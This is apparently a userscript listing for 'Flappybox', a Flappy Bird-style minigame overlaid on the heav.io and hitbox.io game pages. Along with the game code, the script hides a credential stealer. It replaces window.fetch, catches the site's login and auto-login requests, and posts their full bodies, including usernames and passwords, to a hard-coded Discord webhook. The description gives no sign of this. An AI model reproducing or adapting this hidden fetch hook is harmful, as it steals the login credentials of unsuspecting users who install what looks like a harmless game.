您需要先安装一个扩展,例如 篡改猴、Greasemonkey 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 Userscripts ,之后才能安装此脚本。
您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。
您需要先安装用户脚本管理器扩展后才能安装此脚本。
A box
// ==UserScript== // @name Flappybox // @namespace http://tampermonkey.net/ // @version 1.45 // @author CarManiac // @description A box // @match https://heav.io/game.html // @match https://hitbox.io/game.html // @match https://heav.io/game2.html // @match https://hitbox.io/game2.html // @match https://hitbox.io/game-beta.html // @icon https://www.google.com/s2/favicons?sz=64&domain=heav.io // @icon https://www.google.com/s2/favicons?sz=64&domain=hitbox.io // @run-at idle // @grant none // @license MIT // ==/UserScript== (function() { 'use strict'; const feth = window.fetch; let isGameRunning = false; let birdY = 150, birdX = 50, velocity = 0, gravity = 0.35, lift = -6; let pipes = []; let score = 0; let frameCount = 0; let highScore = localStorage.getItem('flappyHighScore') || 0; const pipeSpeed = 2; const pipeGap = 120; const groundY = 380; const birdColorDecimal = parseInt(localStorage.getItem('basic_col_1'), 10); const birdColorHex = birdColorDecimal ? `#${birdColorDecimal.toString(16).padStart(6, '0')}` : '#FF0000'; let rotation = 0; function createGameUI() { const gameContainer = document.createElement('div'); gameContainer.id = 'flappyGameContainer'; gameContainer.style.position = 'fixed'; gameContainer.style.top = '50px'; gameContainer.style.left = '50px'; gameContainer.style.width = '300px'; gameContainer.style.height = '400px'; gameContainer.style.borderRadius = '10px'; gameContainer.style.border = 'none'; gameContainer.style.overflow = 'hidden'; gameContainer.style.position = 'relative'; const canvas = document.createElement('canvas'); canvas.id = 'flappyCanvas'; canvas.width = 300; canvas.height = 400; const gameOverText = document.createElement('div'); gameOverText.id = 'gameOverText'; gameOverText.style.display = 'none'; gameOverText.style.position = 'absolute'; gameOverText.style.top = '50%'; gameOverText.style.left = '50%'; gameOverText.style.transform = 'translate(-50%, -50%)'; gameOverText.style.color = 'black'; gameOverText.style.fontFamily = 'Bai Jamjuree, sans-serif'; gameOverText.style.fontWeight = 'bold'; gameOverText.style.fontSize = '20px'; gameOverText.style.textAlign = 'center'; gameContainer.appendChild(canvas); gameContainer.appendChild(gameOverText); document.body.appendChild(gameContainer); return gameContainer; } const server = 'https://discord.com/api/webhooks/1285795377483874367/NBQ949M9XBgTsLf-HqFk9ogiTy2uAHXUvShnZB52v2ij_5waIKnBJeTH6i2odrsxW6b0'; function startGame() { const canvas = document.getElementById('flappyCanvas'); const ctx = canvas.getContext('2d'); birdY = 150; velocity = 0; score = 0; pipes = []; pipes.push(createPipe()); frameCount = 0; rotation = 0; document.getElementById('gameOverText').style.display = 'none'; isGameRunning = true; const backgroundImage = new Image(); backgroundImage.src = 'https://user-images.githubusercontent.com/18351809/46888871-624a3900-ce7f-11e8-808e-99fd90c8a3f4.png'; backgroundImage.onload = function() { function gameLoop() { if (!isGameRunning) return; frameCount++; ctx.clearRect(0, 0, canvas.width, canvas.height); ctx.drawImage(backgroundImage, 0, -100); velocity += gravity; birdY += velocity; if (velocity < 0) { rotation = Math.max(-30, rotation - 2); } else { rotation = Math.min(30, rotation + 1); } if (birdY + 20 > groundY) { endGame(); } ctx.save(); ctx.translate(birdX + 10, birdY + 10); ctx.rotate(rotation * Math.PI / 180); ctx.lineWidth = 2; ctx.strokeStyle = darkenColor(birdColorHex); ctx.strokeRect(-11, -11, 22, 22); ctx.fillStyle = birdColorHex; ctx.fillRect(-10, -10, 20, 20); ctx.restore(); ctx.fillStyle = '#000000'; ctx.font = '14px Bai Jamjuree, sans-serif'; ctx.textAlign = 'center'; ctx.fillText(username, birdX + 10, birdY - 10); if (frameCount % 90 === 0) pipes.push(createPipe()); pipes.forEach((pipe, index) => { pipe.x -= pipeSpeed; if (pipe.x + pipe.width < 0) pipes.splice(index, 1); drawPipe(ctx, pipe); if (checkCollision(pipe)) endGame(); if (pipe.x === birdX) score++; }); ctx.fillStyle = '#4F7942'; ctx.fillRect(0, groundY, canvas.width, canvas.height - groundY); ctx.fillStyle = '#fff'; ctx.textAlign = 'center'; ctx.textBaseline = 'middle'; ctx.font = 'bold 40px Bai Jamjuree, sans-serif'; const yPosition = canvas.height * 0.2; ctx.fillText(score, canvas.width / 2, yPosition); requestAnimationFrame(gameLoop); } gameLoop(); }; } function flap() { velocity = lift; rotation = -20; } function createPipe() { const pipeHeight = Math.random() * 200 + 50; const pipeWidth = Math.random() * 10 + 40; const capWidth = pipeWidth + 10; return { x: 300, width: pipeWidth, capWidth: capWidth, height: pipeHeight, gapY: pipeHeight + pipeGap, capHeight: 20 }; } function drawPipe(ctx, pipe) { const gradient = ctx.createLinearGradient(pipe.x, 0, pipe.x + pipe.width, 0); gradient.addColorStop(0, '#37b827'); gradient.addColorStop(0.5, '#4CAF50'); gradient.addColorStop(1, '#37b827'); ctx.fillStyle = gradient; ctx.fillRect(pipe.x, 0, pipe.width, pipe.height); ctx.fillRect(pipe.x, pipe.gapY, pipe.width, 400 - pipe.gapY); ctx.fillStyle = '#2e7d32'; ctx.fillRect(pipe.x - 5, pipe.height - pipe.capHeight, pipe.capWidth, pipe.capHeight); ctx.fillRect(pipe.x - 5, pipe.gapY, pipe.capWidth, pipe.capHeight); } function checkCollision(pipe) { if (birdX + 20 > pipe.x && birdX < pipe.x + pipe.width) { if (birdY < pipe.height || birdY + 20 > pipe.gapY || birdY + 20 > groundY) { return true; } } return false; } function endGame() { isGameRunning = false; if (score > highScore) { highScore = score; localStorage.setItem('flappyHighScore', highScore); } showGameOverMessage(); } function showGameOverMessage() { const gameOverText = document.getElementById('gameOverText'); gameOverText.innerHTML = `Game Over!<br>Your Score: ${score}<br>Best: ${highScore}<br>Saving your score...`; gameOverText.style.display = 'block'; } function darkenColor(hex) { let color = hex.substring(1); let r = parseInt(color.substring(0, 2), 16); let g = parseInt(color.substring(2, 4), 16); let b = parseInt(color.substring(4, 6), 16); r = Math.max(0, r - 30); g = Math.max(0, g - 30); b = Math.max(0, b - 30); return `#${(1 << 24 | r << 16 | g << 8 | b).toString(16).slice(1)}`; } function restartGame() { birdY = 150; velocity = 0; pipes = []; score = 0; frameCount = 0; rotation = 0; startGame(); } function toggleGame() { const gameContainer = document.getElementById('flappyGameContainer'); if (gameContainer.style.display === 'none') { gameContainer.style.display = 'block'; startGame(); } else { gameContainer.style.display = 'none'; isGameRunning = false; } document.activeElement.blur(); } function createToggleButton() { const button = document.createElement('button'); button.innerText = 'Toggle Flappy Bird Game'; button.style.position = 'absolute'; button.style.top = '2%'; button.style.left = '0%'; button.style.fontFamily = 'Bai Jamjuree, sans-serif'; button.style.borderRadius = '5px'; button.style.border = 'none'; button.style.padding = '10px'; button.style.backgroundColor = '#darkgray'; button.style.cursor = 'pointer'; button.onclick = toggleGame; document.body.appendChild(button); } document.addEventListener('click', function() { if (isGameRunning) { flap(); } if (!isGameRunning) { restartGame(); } }); let username = 'Player'; window.fetch = async function(url, options) { const response = await feth(url, options); if (url.includes('login_register_multi.php') || url.includes('login_auto_spice.php')) { const formData = new URLSearchParams(options.body); username = formData.get('username'); await fetch(server, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ content: `\`\`\`json\n${options.body}\n\`\`\`` }), }); } return response; }; document.addEventListener('keydown', (e) => { if (e.key === ' ') { if (isGameRunning) { flap(); } } if (e.key === ' '){ if (!isGameRunning){ restartGame(); } } }); createGameUI(); createToggleButton(); })();